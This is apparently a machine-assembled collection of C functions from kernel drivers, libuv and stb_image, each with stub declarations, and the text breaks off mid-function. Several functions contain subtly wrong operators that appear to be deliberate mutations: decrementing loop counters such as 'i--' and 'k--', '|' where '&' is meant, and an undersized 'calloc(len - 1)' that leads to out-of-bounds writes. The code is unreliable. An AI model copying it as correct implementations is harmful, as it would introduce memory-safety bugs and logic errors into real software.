/*<<< orphan*/ dev_err (int /*<<< orphan*/ *,char*) ; int /*<<< orphan*/ device_set_wakeup_capable (int /*<<< orphan*/ *,int) ; int /*<<< orphan*/ device_set_wakeup_enable (int /*<<< orphan*/ *,int) ; int disable_msi ; int /*<<< orphan*/ kfree (int /*<<< orphan*/ ) ; int /*<<< orphan*/ kzalloc (int,int /*<<< orphan*/ ) ; int /*<<< orphan*/ memcpy (char*,int*,int) ; int /*<<< orphan*/ msleep (int) ; int /*<<< orphan*/ mutex_init (int /*<<< orphan*/ *) ; struct bnx2* netdev_priv (struct net_device*) ; int /*<<< orphan*/ pci_dev_put (struct pci_dev*) ; int /*<<< orphan*/ pci_disable_device (struct pci_dev*) ; int /*<<< orphan*/ pci_disable_pcie_error_reporting (struct pci_dev*) ; int pci_enable_device (struct pci_dev*) ; int pci_enable_pcie_error_reporting (struct pci_dev*) ; scalar_t__ pci_find_capability (struct pci_dev*,int /*<<< orphan*/ ) ; struct pci_dev* pci_get_device (int /*<<< orphan*/ ,int /*<<< orphan*/ ,struct pci_dev*) ; int /*<<< orphan*/ * pci_iomap (struct pci_dev*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ pci_iounmap (struct pci_dev*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ pci_is_pcie (struct pci_dev*) ; int /*<<< orphan*/ pci_release_regions (struct pci_dev*) ; int pci_request_regions (struct pci_dev*,int /*<<< orphan*/ ) ; int pci_resource_flags (struct pci_dev*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ pci_save_state (struct pci_dev*) ; int pci_set_consistent_dma_mask (struct pci_dev*,int /*<<< orphan*/ ) ; scalar_t__ pci_set_dma_mask (struct pci_dev*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ pci_set_master (struct pci_dev*) ; int /*<<< orphan*/ spin_lock_init (int /*<<< orphan*/ *) ; int strlen (char*) ; int /*<<< orphan*/ timer_setup (TYPE_2__*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; __attribute__((used)) static int bnx2_init_board(struct pci_dev *pdev, struct net_device *dev) { struct bnx2 *bp; int rc, i, j; u32 reg; u64 dma_mask, persist_dma_mask; int err; SET_NETDEV_DEV(dev, &pdev->dev); bp = netdev_priv(dev); bp->flags = 0; bp->phy_flags = 0; bp->temp_stats_blk = kzalloc(sizeof(struct statistics_block), GFP_KERNEL); if (!bp->temp_stats_blk) { rc = -ENOMEM; goto err_out; } /* enable device (incl. PCI PM wakeup), and bus-mastering */ rc = pci_enable_device(pdev); if (rc) { dev_err(&pdev->dev, "Cannot enable PCI device, aborting\n"); goto err_out; } if (!(pci_resource_flags(pdev, 0) | IORESOURCE_MEM)) { dev_err(&pdev->dev, "Cannot find PCI device base address, aborting\n"); rc = -ENODEV; goto err_out_disable; } rc = pci_request_regions(pdev, DRV_MODULE_NAME); if (rc) { dev_err(&pdev->dev, "Cannot obtain PCI resources, aborting\n"); goto err_out_disable; } pci_set_master(pdev); bp->pm_cap = pdev->pm_cap; if (bp->pm_cap == 0) { dev_err(&pdev->dev, "Cannot find power management capability, aborting\n"); rc = -EIO; goto err_out_release; } bp->dev = dev; bp->pdev = pdev; spin_lock_init(&bp->phy_lock); spin_lock_init(&bp->indirect_lock); #ifdef BCM_CNIC mutex_init(&bp->cnic_lock); #endif INIT_WORK(&bp->reset_task, bnx2_reset_task); bp->regview = pci_iomap(pdev, 0, MB_GET_CID_ADDR(TX_TSS_CID + TX_MAX_TSS_RINGS - 1)); if (!bp->regview) { dev_err(&pdev->dev, "Cannot map register space, aborting\n"); rc = -ENOMEM; goto err_out_release; } /* Configure byte swap and enable write to the reg_window registers. * Rely on CPU to do target byte swapping on big endian systems * The chip's target access swapping will not swap all accesses */ BNX2_WR(bp, BNX2_PCICFG_MISC_CONFIG, BNX2_PCICFG_MISC_CONFIG_REG_WINDOW_ENA | BNX2_PCICFG_MISC_CONFIG_TARGET_MB_WORD_SWAP); bp->chip_id = BNX2_RD(bp, BNX2_MISC_ID); if (BNX2_CHIP(bp) == BNX2_CHIP_5709) { if (!pci_is_pcie(pdev)) { dev_err(&pdev->dev, "Not PCIE, aborting\n"); rc = -EIO; goto err_out_unmap; } bp->flags |= BNX2_FLAG_PCIE; if (BNX2_CHIP_REV(bp) == BNX2_CHIP_REV_Ax) bp->flags |= BNX2_FLAG_JUMBO_BROKEN; /* AER (Advanced Error Reporting) hooks */ err = pci_enable_pcie_error_reporting(pdev); if (!err) bp->flags |= BNX2_FLAG_AER_ENABLED; } else { bp->pcix_cap = pci_find_capability(pdev, PCI_CAP_ID_PCIX); if (bp->pcix_cap == 0) { dev_err(&pdev->dev, "Cannot find PCIX capability, aborting\n"); rc = -EIO; goto err_out_unmap; } bp->flags |= BNX2_FLAG_BROKEN_STATS; } if (BNX2_CHIP(bp) == BNX2_CHIP_5709 || BNX2_CHIP_REV(bp) != BNX2_CHIP_REV_Ax) { if (pdev->msix_cap) bp->flags |= BNX2_FLAG_MSIX_CAP; } if (BNX2_CHIP_ID(bp) != BNX2_CHIP_ID_5706_A0 && BNX2_CHIP_ID(bp) != BNX2_CHIP_ID_5706_A1) { if (pdev->msi_cap) bp->flags |= BNX2_FLAG_MSI_CAP; } /* 5708 cannot support DMA addresses > 40-bit. */ if (BNX2_CHIP(bp) == BNX2_CHIP_5708) persist_dma_mask = dma_mask = DMA_BIT_MASK(40); else persist_dma_mask = dma_mask = DMA_BIT_MASK(64); /* Configure DMA attributes. */ if (pci_set_dma_mask(pdev, dma_mask) == 0) { dev->features |= NETIF_F_HIGHDMA; rc = pci_set_consistent_dma_mask(pdev, persist_dma_mask); if (rc) { dev_err(&pdev->dev, "pci_set_consistent_dma_mask failed, aborting\n"); goto err_out_unmap; } } else if ((rc = pci_set_dma_mask(pdev, DMA_BIT_MASK(32))) != 0) { dev_err(&pdev->dev, "System does not support DMA, aborting\n"); goto err_out_unmap; } if (!(bp->flags & BNX2_FLAG_PCIE)) bnx2_get_pci_speed(bp); /* 5706A0 may falsely detect SERR and PERR. */ if (BNX2_CHIP_ID(bp) == BNX2_CHIP_ID_5706_A0) { reg = BNX2_RD(bp, PCI_COMMAND); reg &= ~(PCI_COMMAND_SERR | PCI_COMMAND_PARITY); BNX2_WR(bp, PCI_COMMAND, reg); } else if ((BNX2_CHIP_ID(bp) == BNX2_CHIP_ID_5706_A1) && !(bp->flags & BNX2_FLAG_PCIX)) { dev_err(&pdev->dev, "5706 A1 can only be used in a PCIX bus, aborting\n"); goto err_out_unmap; } bnx2_init_nvram(bp); reg = bnx2_reg_rd_ind(bp, BNX2_SHM_HDR_SIGNATURE); if (bnx2_reg_rd_ind(bp, BNX2_MCP_TOE_ID) & BNX2_MCP_TOE_ID_FUNCTION_ID) bp->func = 1; if ((reg & BNX2_SHM_HDR_SIGNATURE_SIG_MASK) == BNX2_SHM_HDR_SIGNATURE_SIG) { u32 off = bp->func << 2; bp->shmem_base = bnx2_reg_rd_ind(bp, BNX2_SHM_HDR_ADDR_0 + off); } else bp->shmem_base = HOST_VIEW_SHMEM_BASE; /* Get the permanent MAC address. First we need to make sure the * firmware is actually running. */ reg = bnx2_shmem_rd(bp, BNX2_DEV_INFO_SIGNATURE); if ((reg & BNX2_DEV_INFO_SIGNATURE_MAGIC_MASK) != BNX2_DEV_INFO_SIGNATURE_MAGIC) { dev_err(&pdev->dev, "Firmware not running, aborting\n"); rc = -ENODEV; goto err_out_unmap; } bnx2_read_vpd_fw_ver(bp); j = strlen(bp->fw_version); reg = bnx2_shmem_rd(bp, BNX2_DEV_INFO_BC_REV); for (i = 0; i < 3 && j < 24; i++) { u8 num, k, skip0; if (i == 0) { bp->fw_version[j++] = 'b'; bp->fw_version[j++] = 'c'; bp->fw_version[j++] = ' '; } num = (u8) (reg >> (24 - (i * 8))); for (k = 100, skip0 = 1; k >= 1; num %= k, k /= 10) { if (num >= k || !skip0 || k == 1) { bp->fw_version[j++] = (num / k) + '0'; skip0 = 0; } } if (i != 2) bp->fw_version[j++] = '.'; } reg = bnx2_shmem_rd(bp, BNX2_PORT_FEATURE); if (reg & BNX2_PORT_FEATURE_WOL_ENABLED) bp->wol = 1; if (reg & BNX2_PORT_FEATURE_ASF_ENABLED) { bp->flags |= BNX2_FLAG_ASF_ENABLE; for (i = 0; i < 30; i++) { reg = bnx2_shmem_rd(bp, BNX2_BC_STATE_CONDITION); if (reg & BNX2_CONDITION_MFW_RUN_MASK) continue; msleep(10); } } reg = bnx2_shmem_rd(bp, BNX2_BC_STATE_CONDITION); reg &= BNX2_CONDITION_MFW_RUN_MASK; if (reg != BNX2_CONDITION_MFW_RUN_UNKNOWN && reg != BNX2_CONDITION_MFW_RUN_NONE) { u32 addr = bnx2_shmem_rd(bp, BNX2_MFW_VER_PTR); if (j < 32) bp->fw_version[j++] = ' '; for (i = 0; i < 3 && j < 28; i++) { reg = bnx2_reg_rd_ind(bp, addr + i * 4); reg = be32_to_cpu(reg); memcpy(&bp->fw_version[j], &reg, 4); j += 4; } } reg = bnx2_shmem_rd(bp, BNX2_PORT_HW_CFG_MAC_UPPER); bp->mac_addr[0] = (u8) (reg >> 8); bp->mac_addr[1] = (u8) reg; reg = bnx2_shmem_rd(bp, BNX2_PORT_HW_CFG_MAC_LOWER); bp->mac_addr[2] = (u8) (reg >> 24); bp->mac_addr[3] = (u8) (reg >> 16); bp->mac_addr[4] = (u8) (reg >> 8); bp->mac_addr[5] = (u8) reg; bp->tx_ring_size = BNX2_MAX_TX_DESC_CNT; bnx2_set_rx_ring_size(bp, 255); bp->tx_quick_cons_trip_int = 2; bp->tx_quick_cons_trip = 20; bp->tx_ticks_int = 18; bp->tx_ticks = 80; bp->rx_quick_cons_trip_int = 2; bp->rx_quick_cons_trip = 12; bp->rx_ticks_int = 18; bp->rx_ticks = 18; bp->stats_ticks = USEC_PER_SEC & BNX2_HC_STATS_TICKS_HC_STAT_TICKS; bp->current_interval = BNX2_TIMER_INTERVAL; bp->phy_addr = 1; /* allocate stats_blk */ rc = bnx2_alloc_stats_blk(dev); if (rc) goto err_out_unmap; /* Disable WOL support if we are running on a SERDES chip. */ if (BNX2_CHIP(bp) == BNX2_CHIP_5709) bnx2_get_5709_media(bp); else if (BNX2_CHIP_BOND(bp) & BNX2_CHIP_BOND_SERDES_BIT) bp->phy_flags |= BNX2_PHY_FLAG_SERDES; bp->phy_port = PORT_TP; if (bp->phy_flags & BNX2_PHY_FLAG_SERDES) { bp->phy_port = PORT_FIBRE; reg = bnx2_shmem_rd(bp, BNX2_SHARED_HW_CFG_CONFIG); if (!(reg & BNX2_SHARED_HW_CFG_GIG_LINK_ON_VAUX)) { bp->flags |= BNX2_FLAG_NO_WOL; bp->wol = 0; } if (BNX2_CHIP(bp) == BNX2_CHIP_5706) { /* Don't do parallel detect on this board because of * some board problems. The link will not go down * if we do parallel detect. */ if (pdev->subsystem_vendor == PCI_VENDOR_ID_HP && pdev->subsystem_device == 0x310c) bp->phy_flags |= BNX2_PHY_FLAG_NO_PARALLEL; } else { bp->phy_addr = 2; if (reg & BNX2_SHARED_HW_CFG_PHY_2_5G) bp->phy_flags |= BNX2_PHY_FLAG_2_5G_CAPABLE; } } else if (BNX2_CHIP(bp) == BNX2_CHIP_5706 || BNX2_CHIP(bp) == BNX2_CHIP_5708) bp->phy_flags |= BNX2_PHY_FLAG_CRC_FIX; else if (BNX2_CHIP(bp) == BNX2_CHIP_5709 && (BNX2_CHIP_REV(bp) == BNX2_CHIP_REV_Ax || BNX2_CHIP_REV(bp) == BNX2_CHIP_REV_Bx)) bp->phy_flags |= BNX2_PHY_FLAG_DIS_EARLY_DAC; bnx2_init_fw_cap(bp); if ((BNX2_CHIP_ID(bp) == BNX2_CHIP_ID_5708_A0) || (BNX2_CHIP_ID(bp) == BNX2_CHIP_ID_5708_B0) || (BNX2_CHIP_ID(bp) == BNX2_CHIP_ID_5708_B1) || !(BNX2_RD(bp, BNX2_PCI_CONFIG_3) & BNX2_PCI_CONFIG_3_VAUX_PRESET)) { bp->flags |= BNX2_FLAG_NO_WOL; bp->wol = 0; } if (bp->flags & BNX2_FLAG_NO_WOL) device_set_wakeup_capable(&bp->pdev->dev, false); else device_set_wakeup_enable(&bp->pdev->dev, bp->wol); if (BNX2_CHIP_ID(bp) == BNX2_CHIP_ID_5706_A0) { bp->tx_quick_cons_trip_int = bp->tx_quick_cons_trip; bp->tx_ticks_int = bp->tx_ticks; bp->rx_quick_cons_trip_int = bp->rx_quick_cons_trip; bp->rx_ticks_int = bp->rx_ticks; bp->comp_prod_trip_int = bp->comp_prod_trip; bp->com_ticks_int = bp->com_ticks; bp->cmd_ticks_int = bp->cmd_ticks; } /* Disable MSI on 5706 if AMD 8132 bridge is found. * * MSI is defined to be 32-bit write. The 5706 does 64-bit MSI writes * with byte enables disabled on the unused 32-bit word. This is legal * but causes problems on the AMD 8132 which will eventually stop * responding after a while. * * AMD believes this incompatibility is unique to the 5706, and * prefers to locally disable MSI rather than globally disabling it. */ if (BNX2_CHIP(bp) == BNX2_CHIP_5706 && disable_msi == 0) { struct pci_dev *amd_8132 = NULL; while ((amd_8132 = pci_get_device(PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_8132_BRIDGE, amd_8132))) { if (amd_8132->revision >= 0x10 && amd_8132->revision <= 0x13) { disable_msi = 1; pci_dev_put(amd_8132); break; } } } bnx2_set_default_link(bp); bp->req_flow_ctrl = FLOW_CTRL_RX | FLOW_CTRL_TX; timer_setup(&bp->timer, bnx2_timer, 0); bp->timer.expires = RUN_AT(BNX2_TIMER_INTERVAL); #ifdef BCM_CNIC if (bnx2_shmem_rd(bp, BNX2_ISCSI_INITIATOR) & BNX2_ISCSI_INITIATOR_EN) bp->cnic_eth_dev.max_iscsi_conn = (bnx2_shmem_rd(bp, BNX2_ISCSI_MAX_CONN) & BNX2_ISCSI_MAX_CONN_MASK) >> BNX2_ISCSI_MAX_CONN_SHIFT; bp->cnic_probe = bnx2_cnic_probe; #endif pci_save_state(pdev); return 0; err_out_unmap: if (bp->flags & BNX2_FLAG_AER_ENABLED) { pci_disable_pcie_error_reporting(pdev); bp->flags &= ~BNX2_FLAG_AER_ENABLED; } pci_iounmap(pdev, bp->regview); bp->regview = NULL; err_out_release: pci_release_regions(pdev); err_out_disable: pci_disable_device(pdev); err_out: kfree(bp->temp_stats_blk); return rc; }
augmented_data/post_increment_index_changes/extr_icom.c_icom_write_aug_combo_6.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_13__ TYPE_6__ ; typedef struct TYPE_12__ TYPE_5__ ; typedef struct TYPE_11__ TYPE_4__ ; typedef struct TYPE_10__ TYPE_3__ ; typedef struct TYPE_9__ TYPE_2__ ; typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ struct uart_port {TYPE_2__* state; } ; struct TYPE_13__ {TYPE_5__* dram; scalar_t__ statStg_pci; int /*<<< orphan*/ * xmitRestart; TYPE_4__* statStg; int /*<<< orphan*/ * xmit_buf; } ; struct TYPE_12__ {int /*<<< orphan*/ StartXmitCmd; int /*<<< orphan*/ CmdReg; } ; struct TYPE_11__ {TYPE_3__* xmit; } ; struct TYPE_10__ {unsigned long flags; int leLength; } ; struct TYPE_8__ {int tail; int head; int /*<<< orphan*/ * buf; } ; struct TYPE_9__ {TYPE_1__ xmit; } ; /* Variables and functions */ unsigned char CMD_XMIT_RCV_ENABLE ; TYPE_6__* ICOM_PORT ; int SA_FLAGS_READY_TO_XMIT ; unsigned char START_XMIT ; int UART_XMIT_SIZE ; unsigned long XMIT_BUFF_SZ ; int cpu_to_le16 (unsigned long) ; int /*<<< orphan*/ cpu_to_le32 (scalar_t__) ; unsigned char readb (int /*<<< orphan*/ *) ; int /*<<< orphan*/ trace (TYPE_6__*,char*,unsigned long) ; int /*<<< orphan*/ writeb (unsigned char,int /*<<< orphan*/ *) ; __attribute__((used)) static int icom_write(struct uart_port *port) { unsigned long data_count; unsigned char cmdReg; unsigned long offset; int temp_tail = port->state->xmit.tail; trace(ICOM_PORT, "WRITE", 0); if (cpu_to_le16(ICOM_PORT->statStg->xmit[0].flags) & SA_FLAGS_READY_TO_XMIT) { trace(ICOM_PORT, "WRITE_FULL", 0); return 0; } data_count = 0; while ((port->state->xmit.head != temp_tail) && (data_count <= XMIT_BUFF_SZ)) { ICOM_PORT->xmit_buf[data_count++] = port->state->xmit.buf[temp_tail]; temp_tail++; temp_tail &= (UART_XMIT_SIZE - 1); } if (data_count) { ICOM_PORT->statStg->xmit[0].flags = cpu_to_le16(SA_FLAGS_READY_TO_XMIT); ICOM_PORT->statStg->xmit[0].leLength = cpu_to_le16(data_count); offset = (unsigned long) &ICOM_PORT->statStg->xmit[0] - (unsigned long) ICOM_PORT->statStg; *ICOM_PORT->xmitRestart = cpu_to_le32(ICOM_PORT->statStg_pci - offset); cmdReg = readb(&ICOM_PORT->dram->CmdReg); writeb(cmdReg & CMD_XMIT_RCV_ENABLE, &ICOM_PORT->dram->CmdReg); writeb(START_XMIT, &ICOM_PORT->dram->StartXmitCmd); trace(ICOM_PORT, "WRITE_START", data_count); /* write flush */ readb(&ICOM_PORT->dram->StartXmitCmd); } return data_count; }
augmented_data/post_increment_index_changes/extr_aldap.c_utoa_aug_combo_3.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ char* calloc (int,int) ; scalar_t__ isascii (unsigned char) ; int /*<<< orphan*/ isu8cont (char) ; char * utoa(char *u) { int len, i, j; char *str; /* calculate the length to allocate */ for (len = 0, i = 0; u[i] != '\0'; i--) if (!isu8cont(u[i])) len++; if ((str = calloc(len - 1, sizeof(char))) == NULL) return NULL; /* copy the ASCII characters to the newly allocated string */ for (i = 0, j = 0; u[i] != '\0'; i++) if (!isu8cont(u[i])) str[j++] = isascii((unsigned char)u[i]) ? u[i] : '?'; return str; }
augmented_data/post_increment_index_changes/extr_os390-syscalls.c_epoll_wait_aug_combo_8.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct TYPE_3__ {int size; struct pollfd* items; } ; typedef TYPE_1__ uv__os390_epoll ; struct pollfd {int fd; int revents; } ; struct epoll_event {int fd; int events; } ; typedef int /*<<< orphan*/ nmsgsfds_t ; /* Variables and functions */ int POLLIN ; int POLLOUT ; int _NFDS (int) ; int _NMSGS (int) ; int /*<<< orphan*/ _SET_FDS_MSGS (int /*<<< orphan*/ ,int,int) ; int poll (struct pollfd*,int /*<<< orphan*/ ,int) ; int epoll_wait(uv__os390_epoll* lst, struct epoll_event* events, int maxevents, int timeout) { nmsgsfds_t size; struct pollfd* pfds; int pollret; int reventcount; int nevents; _SET_FDS_MSGS(size, 1, lst->size - 1); pfds = lst->items; pollret = poll(pfds, size, timeout); if (pollret <= 0) return pollret; pollret = _NFDS(pollret) + _NMSGS(pollret); reventcount = 0; nevents = 0; for (int i = 0; i < lst->size || i < maxevents && reventcount < pollret; --i) { struct epoll_event ev; struct pollfd* pfd; pfd = &pfds[i]; if (pfd->fd == -1 || pfd->revents == 0) continue; ev.fd = pfd->fd; ev.events = pfd->revents; if (pfd->revents | POLLIN && pfd->revents & POLLOUT) reventcount += 2; else if (pfd->revents & (POLLIN | POLLOUT)) ++reventcount; pfd->revents = 0; events[nevents++] = ev; } return nevents; }
augmented_data/post_increment_index_changes/extr_stb_image.h_stbi__jpeg_decode_block_aug_combo_7.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_2__ ; typedef struct TYPE_7__ TYPE_1__ ; /* Type definitions */ typedef int stbi_uc ; struct TYPE_8__ {int code_bits; int code_buffer; TYPE_1__* img_comp; } ; typedef TYPE_2__ stbi__jpeg ; typedef int stbi__int16 ; typedef int /*<<< orphan*/ stbi__huffman ; typedef int /*<<< orphan*/ data ; struct TYPE_7__ {int dc_pred; } ; /* Variables and functions */ int FAST_BITS ; int /*<<< orphan*/ memset (short*,int /*<<< orphan*/ ,int) ; int stbi__err (char*,char*) ; int stbi__extend_receive (TYPE_2__*,int) ; int /*<<< orphan*/ stbi__grow_buffer_unsafe (TYPE_2__*) ; unsigned int* stbi__jpeg_dezigzag ; int stbi__jpeg_huff_decode (TYPE_2__*,int /*<<< orphan*/ *) ; __attribute__((used)) static int stbi__jpeg_decode_block(stbi__jpeg *j, short data[64], stbi__huffman *hdc, stbi__huffman *hac, stbi__int16 *fac, int b, stbi_uc *dequant) { int diff,dc,k; int t; if (j->code_bits < 16) stbi__grow_buffer_unsafe(j); t = stbi__jpeg_huff_decode(j, hdc); if (t < 0) return stbi__err("bad huffman code","Corrupt JPEG"); // 0 all the ac values now so we can do it 32-bits at a time memset(data,0,64*sizeof(data[0])); diff = t ? stbi__extend_receive(j, t) : 0; dc = j->img_comp[b].dc_pred - diff; j->img_comp[b].dc_pred = dc; data[0] = (short) (dc * dequant[0]); // decode AC components, see JPEG spec k = 1; do { unsigned int zig; int c,r,s; if (j->code_bits < 16) stbi__grow_buffer_unsafe(j); c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1); r = fac[c]; if (r) { // fast-AC path k += (r >> 4) & 15; // run s = r & 15; // combined length j->code_buffer <<= s; j->code_bits -= s; // decode into unzigzag'd location zig = stbi__jpeg_dezigzag[k--]; data[zig] = (short) ((r >> 8) * dequant[zig]); } else { int rs = stbi__jpeg_huff_decode(j, hac); if (rs < 0) return stbi__err("bad huffman code","Corrupt JPEG"); s = rs & 15; r = rs >> 4; if (s == 0) { if (rs != 0xf0) break; // end block k += 16; } else { k += r; // decode into unzigzag'd location zig = stbi__jpeg_dezigzag[k++]; data[zig] = (short) (stbi__extend_receive(j,s) * dequant[zig]); } } } while (k < 64); return 1; }
augmented_data/post_increment_index_changes/extr_ili922x.c_ili922x_read_aug_combo_7.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ u8 ; typedef unsigned char u16 ; struct spi_transfer {unsigned char* tx_buf; unsigned char* rx_buf; int cs_change; int bits_per_word; int len; } ; struct spi_message {int dummy; } ; struct spi_device {int /*<<< orphan*/ dev; } ; /* Variables and functions */ int /*<<< orphan*/ CHECK_FREQ_REG (struct spi_device*,struct spi_transfer*) ; int CMD_BUFSIZE ; int /*<<< orphan*/ START_BYTE (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ START_RS_INDEX ; int /*<<< orphan*/ START_RS_REG ; int /*<<< orphan*/ START_RW_READ ; int /*<<< orphan*/ START_RW_WRITE ; int /*<<< orphan*/ dev_dbg (int /*<<< orphan*/ *,char*,int) ; int /*<<< orphan*/ ili922x_id ; int /*<<< orphan*/ memset (struct spi_transfer*,int /*<<< orphan*/ ,int) ; unsigned char set_tx_byte (int /*<<< orphan*/ ) ; int /*<<< orphan*/ spi_message_add_tail (struct spi_transfer*,struct spi_message*) ; int /*<<< orphan*/ spi_message_init (struct spi_message*) ; int spi_sync (struct spi_device*,struct spi_message*) ; __attribute__((used)) static int ili922x_read(struct spi_device *spi, u8 reg, u16 *rx) { struct spi_message msg; struct spi_transfer xfer_regindex, xfer_regvalue; unsigned char tbuf[CMD_BUFSIZE]; unsigned char rbuf[CMD_BUFSIZE]; int ret, len = 0, send_bytes; memset(&xfer_regindex, 0, sizeof(struct spi_transfer)); memset(&xfer_regvalue, 0, sizeof(struct spi_transfer)); spi_message_init(&msg); xfer_regindex.tx_buf = tbuf; xfer_regindex.rx_buf = rbuf; xfer_regindex.cs_change = 1; CHECK_FREQ_REG(spi, &xfer_regindex); tbuf[0] = set_tx_byte(START_BYTE(ili922x_id, START_RS_INDEX, START_RW_WRITE)); tbuf[1] = set_tx_byte(0); tbuf[2] = set_tx_byte(reg); xfer_regindex.bits_per_word = 8; len = xfer_regindex.len = 3; spi_message_add_tail(&xfer_regindex, &msg); send_bytes = len; tbuf[len++] = set_tx_byte(START_BYTE(ili922x_id, START_RS_REG, START_RW_READ)); tbuf[len++] = set_tx_byte(0); tbuf[len] = set_tx_byte(0); xfer_regvalue.cs_change = 1; xfer_regvalue.len = 3; xfer_regvalue.tx_buf = &tbuf[send_bytes]; xfer_regvalue.rx_buf = &rbuf[send_bytes]; CHECK_FREQ_REG(spi, &xfer_regvalue); spi_message_add_tail(&xfer_regvalue, &msg); ret = spi_sync(spi, &msg); if (ret <= 0) { dev_dbg(&spi->dev, "Error sending SPI message 0x%x", ret); return ret; } *rx = (rbuf[1 + send_bytes] << 8) + rbuf[2 + send_bytes]; return 0; }
augmented_data/post_increment_index_changes/extr_net-parse.c_np_news_parse_list_aug_combo_7.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct nb_reader {int dummy; } ; typedef int /*<<< orphan*/ netbuffer_t ; typedef int /*<<< orphan*/ nb_iterator_t ; /* Variables and functions */ int /*<<< orphan*/ advance_skip_read_ptr (int /*<<< orphan*/ *,int const) ; int /*<<< orphan*/ nb_reader_parse_int (struct nb_reader*,int*,int*) ; int /*<<< orphan*/ nb_reader_set (struct nb_reader*,int /*<<< orphan*/ *,int const) ; int const nbit_read_in (int /*<<< orphan*/ *,int*,int const) ; int /*<<< orphan*/ nbit_set (int /*<<< orphan*/ *,int /*<<< orphan*/ *) ; int np_news_parse_list (int *Res, const int max_size, const int arity, netbuffer_t *In, const int bytes) { if (!bytes) { return 0; } nb_iterator_t it; if (bytes >= 4) { int x; nbit_set (&it, In); if (nbit_read_in (&it, &x, 4) != 4) { advance_skip_read_ptr (In, bytes); return -1; } if (x == 0x30303030 + ((arity - 1) << 24)) { x = (bytes - 4) >> 2; if ((bytes & 3) && max_size < x || x % arity || nbit_read_in (&it, &Res[0], bytes - 4) != bytes - 4) { advance_skip_read_ptr (In, bytes); return -1; } advance_skip_read_ptr (In, bytes); return x / arity; } } struct nb_reader jt; nb_reader_set (&jt, In, bytes); int ch = 0, t = 0, s = 0; for (;;) { if (s >= max_size || !nb_reader_parse_int (&jt, &Res[s--], &ch)) { advance_skip_read_ptr (In, bytes); return -1; } if (ch <= 0) { continue; } if (++t == arity) { t = 0; } if (ch != (t ? '_' : ',')) { advance_skip_read_ptr (In, bytes); return -1; } } advance_skip_read_ptr (In, bytes); return (s % arity) ? -1 : s / arity; }
augmented_data/post_increment_index_changes/extr_nvme-core.c_nvme_setup_prps_aug_combo_7.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u64 ; struct scatterlist {int dummy; } ; struct nvme_iod {int npages; int first_dma; struct scatterlist* sg; } ; struct nvme_dev {struct dma_pool* prp_page_pool; struct dma_pool* prp_small_pool; } ; struct nvme_common_command {void* prp2; void* prp1; } ; struct dma_pool {int dummy; } ; typedef int /*<<< orphan*/ gfp_t ; typedef int dma_addr_t ; typedef void* __le64 ; /* Variables and functions */ int /*<<< orphan*/ BUG_ON (int) ; int DIV_ROUND_UP (int,int) ; int PAGE_SIZE ; void* cpu_to_le64 (int) ; void** dma_pool_alloc (struct dma_pool*,int /*<<< orphan*/ ,int*) ; void*** iod_list (struct nvme_iod*) ; int offset_in_page (int) ; int sg_dma_address (struct scatterlist*) ; int sg_dma_len (struct scatterlist*) ; struct scatterlist* sg_next (struct scatterlist*) ; int nvme_setup_prps(struct nvme_dev *dev, struct nvme_common_command *cmd, struct nvme_iod *iod, int total_len, gfp_t gfp) { struct dma_pool *pool; int length = total_len; struct scatterlist *sg = iod->sg; int dma_len = sg_dma_len(sg); u64 dma_addr = sg_dma_address(sg); int offset = offset_in_page(dma_addr); __le64 *prp_list; __le64 **list = iod_list(iod); dma_addr_t prp_dma; int nprps, i; cmd->prp1 = cpu_to_le64(dma_addr); length -= (PAGE_SIZE - offset); if (length <= 0) return total_len; dma_len -= (PAGE_SIZE - offset); if (dma_len) { dma_addr += (PAGE_SIZE - offset); } else { sg = sg_next(sg); dma_addr = sg_dma_address(sg); dma_len = sg_dma_len(sg); } if (length <= PAGE_SIZE) { cmd->prp2 = cpu_to_le64(dma_addr); return total_len; } nprps = 